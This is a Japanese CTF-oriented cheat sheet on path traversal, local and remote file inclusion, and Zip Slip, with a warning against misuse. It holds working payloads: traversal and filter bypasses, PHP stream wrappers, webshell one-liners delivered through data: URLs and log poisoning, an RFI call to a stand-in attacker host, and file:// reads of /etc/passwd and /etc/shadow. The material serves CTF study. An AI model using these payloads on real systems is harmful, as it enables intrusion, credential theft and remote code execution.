この記事はCTFのWebセキュリティ Advent Calendar 2021の8日目の記事です。
本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。
Path Traversal
- 別名 Directory Traversal
- サーバ側でのファイルアクセス時にユーザー入力によって意図せぬパスへアクセスされてしまう脆弱性の総称
- urlを入れられるものもPath Traversalに含まれるのかな?絶対パスみたいな感じにとらえれば本質的には同じな感じもするが…
- これにより誘発される問題
- LFI: Local File Inclusion
- requireやincludeなどの読み込む系の引数に対してインジェクションを行うことで、"サーバのローカルファイル"を読み込む
- RFI: Remote File Inclusion
- requireやincludeなどの読み込む系の引数に対してインジェクションを行うことで、"外部サーバのファイル"を読み込む
- ZipSlip
- LFI: Local File Inclusion
- 書き換え先を../を使って思いがけない所にするのがとりあえず一番簡単
- CTFtime.org / Brixel CTF winter edition / Dadjokes
- CTFtime.org / VolgaCTF 2021 Qualifier / Online Wallet (Part 2)
/css/lang-[userinput]みたいにしているところがあったら、/../evilみたいにすると、同階層のまったく違うファイルを指定可能
- 参考
攻撃、テク
- 例えば
get.php?file=image.jpgという風にファイルを取得するエンドポイントがあったとする。- この場合に適切に処理を行っていないと、
get.php?file=/etc/passwdと書くことで任意のファイルを抜き出すことができてしまう。
- この場合に適切に処理を行っていないと、
- LFIとして狙えそうなGETパラメタ集
- https://twitter.com/virtusleo_/status/1360893282406993920/photo/1
- cat, dir, action, board, date, detail, file, download, path, folder, prefix, include, page, inc, locate, show, doc, site, type, view, content, document, layout, mod, conf
get.php?file=[file]に入れるペイロード集/の状態で../しても/のままなので../が過剰な分にはルートからたどる場合は問題ない- メモリ読み取りができたりする
- /proc/self/mapsでメモリマップを確認できる
- /proc/self/memで実際のメモリにアクセスできる
- /proc/self/mapsで怪しいメモリアドレスを特定して、/proc/self/memのその部分を持ってくる
- ångstromCTF - LeetTube
- WAF(Web Application Firewall)によってディレクトリトラバーサルが抑制されている場合がある。
- PDF作成からLFI
- iframe/frame, object, fonts(CSS)で持ってくる
<iframe src="file:///c:/windows/system32/drivers/etc/hosts" height=1000 width=1000/>- 認証情報を取り出してRCEまでつなげた例
- XSS経由で
<img src=x onerror=document.write('aaaa'%2bwindow.location)>でpwdできる<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
- web.configがとれないか
about://も面白いらしい- file://が使えないなら、どっかに
<?php header("Location: file:///flag"); ?>みたいなのを立ててhttpでつなぐ
便利スキーム
- php
php://filter/convert.base64-encode/resource=index.phpよく使う。base64した状態でresourceのファイルを出力されるphp://filter/resource=index.phpこうすると、base64せず普通の状態でファイル出力されるphp://input- これを書いて、POSTで
<?php system("ls -la ./"); ?>を送ると、POSTデータをinclusionできる。RFIっぽいけど、厳密にはどうなんだろう
- これを書いて、POSTで
- 他にも色々ある PHPがサポートするURLスキームを調査する - Ryoto's Blog
- data
- expect
expect://ls使えたことがないけど、こういうこともできるらしい
- http
http:/../../../var/www/uploads/df0f1a1ac715de9266c8d8391769156a- こういう記法もあるっぽい?ローカルファイルを取得するのと同じ
- 普通にどっかのサーバにファイルを上げて、
http://attacker-server.example.com/evil.phpとかしてRFIできる問題もある
- file
file:///etc/passwdfile:///proc/self/cwd/testhook.php
- Browser-Based application LFI
- file:///etc/passwd blacklisted? Use "view-source:file:///etc/passwd"
- "view-source" is often forgotten by developers in blacklists.
- パスそのまま
/etc/passwd
フィルタリングのバイパス
- URLエンコーディングで騙す
../→%2e%2e%2f.の代わりに%E3%80%82を指定する(%E3%80%82は。のURLエンコード)#291750 Link filter protection bypass- web application - Alternative ways to exploit this path traversal - Information Security Stack Exchange
- 大文字でも使えたりする
php://はPhp://でも使える
- NULLバイト攻撃
- 複数スラッシュを入れるとそれ以降は無視してくれるかも
/?url=http://localhost/admin///1.png
- ?を入れるとそれ以降は無視してくれるかも
/?url=http://localhost/admin?1.png
- Host/Split: Exploitable Antipatterns in Unicode Normalization
- ℀を入れると、エンコード次第ではa/cと解釈されて
/をフィルターしててもbypassできる - https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization-wp.pdf
- ℀を入れると、エンコード次第ではa/cと解釈されて
読み取りディレクトリ先
- /etc
- /etc/passwd
いつもの - /etc/shadow
- /etc/apache2
- /etc/apache2/apache2.conf
apache設定ファイル - /etc/apache2/sites-enabled/000-default.conf
- /etc/apache2/apache2.conf
- /etc/nginx
- /etc/nginx/nginx.conf
- /etc/nginx/sites-enabled/default
ここが一番候補? - /etc/nginx/sites-available/default
- /etc/passwd
- /proc
- /proc/self
- /proc/self/maps
メモリマップを確認 - /proc/self/mem
実際のメモリへのシンボリックリンク - /proc/self/cwd
カレントディレクトリへのシンボリックリンク - /proc/self/environ
環境変数 - /proc/self/cmdline
- /proc/self/cgroup
- /proc/fd/2
よくわからんけどプロセス識別子2の出力が得られる
- /proc/self/maps
- /proc/net/arp
ネット接続状況 - /proc/sys/kernel/random/boot_id
なんだこれ
- /proc/self
- /sys/class/net/[device-id]/address
MACアドレス表示(device-idは/proc/net/arpのDeviceと対応している) - /var
- ~
- windowsの場合
- ............\windows\win.ini
nginx
- ディレクトリトラバーサル対策のWAFをバイパスするには
../../がブラックリスト入りしているかも../?/../../としてみる。先頭に?/../を入れてみる- すると、WAFでは?以降はクエリとして扱われて回避できるが、実装によっては?フォルダがあると解釈されて、?フォルダに入って../で抜けるみたいな感じにできる
- Path traversal via misconfigured NGINX alias - Vulnerabilities - Acunetix
- alias../のような微妙なものを用意しておいて、alias部分が変換されると、うまいことディレクトリトラバーサルが発動するようなもの
- たぶんNGINXではURLのノーマライゼーションを行ってる
ユーザー -1-> NGINX -2-> Flaskとか- 1の段階では
http://example.com/get/../hidden.txtとなっていてもNGINX通った段階で、http://example.com/hidden.txtとなってると思う。
- 0.6.36以下 パストラバーサル
- Nginx 0.6.36 - Directory Traversal - Multiple remote Exploit
/->%5c、.->%2eと変換してバイパス
- phpファイルを動かすには
- XX.phpをアップロードする(.phpじゃない拡張子でやりたい場合は、.htaccessを書き換える)
-
<?php ... ?>や<?=...?>を作る - 実は色んな拡張子が使える .php .php3 .php4 .php5 .phtml
- writeups/2020/Boot2root_ctf/Upload at master · Red-Knights-CTF/writeups · GitHub
LFIからRCEへ
- PayloadsAllTheThings/File Inclusion at master · swisskyrepo/PayloadsAllTheThings · GitHub
- File Inclusion/Path traversal - HackTricks
- いろいろな場面を紹介している
- RCE via LFI Log Poisoning - The Death Potion | by Jerry Shah (Jerry) | Medium
- lfiできるポイントが見つかって、色々試すと
/var/log/vsftpd.logへアクセスできることがわかる - nmapするとFTPのポートが空いていたので、そのポートにログイン試行をしてユーザー名を
<?php system($_GET[‘commandInjection’]); ?>として実行する - すると、ログにそれが残るので、commandInjectionというGETの引数に適当なコマンドを入れて、LFIで
/var/log/vsftpd.logを持ってくればRCE達成 - 使えそうなログ
/etc/httpd/logs/acces_log /etc/httpd/logs/acces.log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /var/log/apache/error_log /var/log/apache2/error_log /var/log/apache/error.log /var/log/apache2/error.log /var/log/error_log /var/log/error.log /var/www/logs/error_log /var/www/logs/error.log
- lfiできるポイントが見つかって、色々試すと
- data:プロトコルでwebshellを埋め込む
- Hand Guide To Local File Inclusion(LFI)
http://www.zamenfeld.com.ar/main.php?pagina=data:text/plain,<?system($_GET['x']);?>&x=lshttp://www.zamenfeld.com.ar/main.php?pagina=data:,<?system($_GET['x']);?>&x=lshttp://www.zamenfeld.com.ar/main.php?pagina=data:;base64,PD9zeXN0ZW0oJF9HRVRbJ3gnXSk7Pz4=&x=ls
- Hand Guide To Local File Inclusion(LFI)
Zipとか
- Symbolic Link
- Zip Slip
- https://www.youtube.com/watch?v=l1MT5lr4p9o この動画を見るのが分かりやすい。
- 悪意のあるzipファイルを作るには、https://github.com/ptoomey3/evilarc を使うのがいい。
- SECCON beginner 2020 unzip
- Zip slip by tar
- tarファイルでもzip slipが使える。
- zipslip自体は圧縮形式全般に言える脆弱性みたい
- TarAnalyzer - 2020 Defenit CTF | bi0s
- ZipSlipに弱いコード
- python
Tarfile.extractall()tarfile --- tar アーカイブファイルの読み書き — Python 3.8.5 ドキュメント
- python